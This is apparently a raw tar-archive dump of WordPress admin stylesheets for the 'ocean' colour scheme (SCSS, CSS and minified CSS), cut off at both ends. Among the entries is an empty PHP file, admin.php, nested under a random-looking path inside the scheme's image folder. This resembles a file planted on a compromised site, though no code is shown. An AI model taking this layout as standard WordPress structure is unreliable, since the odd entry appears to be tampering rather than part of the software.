.customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #9ebaa0; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #9ebaa0; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #9ebaa0; border-style: solid; box-shadow: 0 0 0 1px #9ebaa0; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #9ebaa0; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #9ebaa0; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #9ebaa0; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(187.8012048193, 207.1987951807, 189.186746988), 0 0 2px 1px #9ebaa0; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #9ebaa0; color: #0073aa; } css/colors/ocean/colors.scss 0000644 00000000367 15233246127 0012133 0 ustar 00 $base-color: #738e96; @use "../_admin.scss" with ( $scheme-name: "ocean", $base-color: $base-color, $icon-color: #f2fcff, $highlight-color: #9ebaa0, $notification-color: #aa9d88, $form-checked: $base-color, $low-contrast-theme: "true" ); css/colors/ocean/img/assets/data/img/data/zcu/pdagv/admin.php 0000644 00000000000 15233246127 0020074 0 ustar 00 css/colors/ocean/colors.css 0000644 00000061071 15233246127 0011747 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #738e96; } .wp-core-ui .wp-ui-text-primary { color: #738e96; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #9ebaa0; } .wp-core-ui .wp-ui-text-highlight { color: #9ebaa0; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #aa9d88; } .wp-core-ui .wp-ui-text-notification { color: #aa9d88; } .wp-core-ui .wp-ui-text-icon { color: #f2fcff; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #738e96; } .view-switch a:hover:before { color: #aa9d88; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #738e96; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: #f2fcff; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #9ebaa0; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(213, 221.1, 223.5); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(213, 221.1, 223.5); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #9ebaa0; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #9ebaa0; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #9ebaa0; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #aa9d88; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } /* Admin Menu: collapse button */ #collapse-button { color: #f2fcff; } #collapse-button:hover, #collapse-button:focus { color: #9ebaa0; } /* Admin Bar */ #wpadminbar { color: #fff; background: #738e96; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #f2fcff; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #9ebaa0; background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #9ebaa0; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #9ebaa0; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(142.7255, 154.4890142857, 157.9745); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(213, 221.1, 223.5); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #f2fcff; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #9ebaa0; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #9ebaa0; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #f2fcff; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #f2fcff; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(135.4, 158.4657142857, 165.3); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #aa9d88; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(153, 141.3, 122.4); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(135.4, 158.4657142857, 165.3); background-color: rgb(135.4, 158.4657142857, 165.3); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #9ebaa0; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(213, 221.1, 223.5); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #9ebaa0; border-color: rgb(143.0993975904, 175.4006024096, 145.406626506); } .wp-pointer .wp-pointer-content h3:before { color: #9ebaa0; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #9ebaa0; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #9ebaa0; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #9ebaa0; } .attachment.details .check { background-color: #9ebaa0; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #9ebaa0; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #9ebaa0; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #9ebaa0; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #9ebaa0; } .theme-section.current, .theme-filter.current { border-bottom-color: #738e96; } body.more-filters-opened .more-filters { color: #fff; background-color: #738e96; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #9ebaa0; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #9ebaa0; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(187.8012048193, 207.1987951807, 189.186746988), 0 0 2px 1px #9ebaa0; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #f2fcff; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #9ebaa0; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #f2fcff; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #9ebaa0; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #9ebaa0; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #9ebaa0; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #9ebaa0; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(187.8012048193, 207.1987951807, 189.186746988), 0 0 2px 1px #9ebaa0; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #9ebaa0; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #9ebaa0; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #9ebaa0; border-style: solid; box-shadow: 0 0 0 1px #9ebaa0; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #9ebaa0; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #9ebaa0; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #9ebaa0; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(187.8012048193, 207.1987951807, 189.186746988), 0 0 2px 1px #9ebaa0; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #9ebaa0; color: #0073aa; } css/colors/ocean/colors.min.css 0000644 00000052335 15233246127 0012534 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid 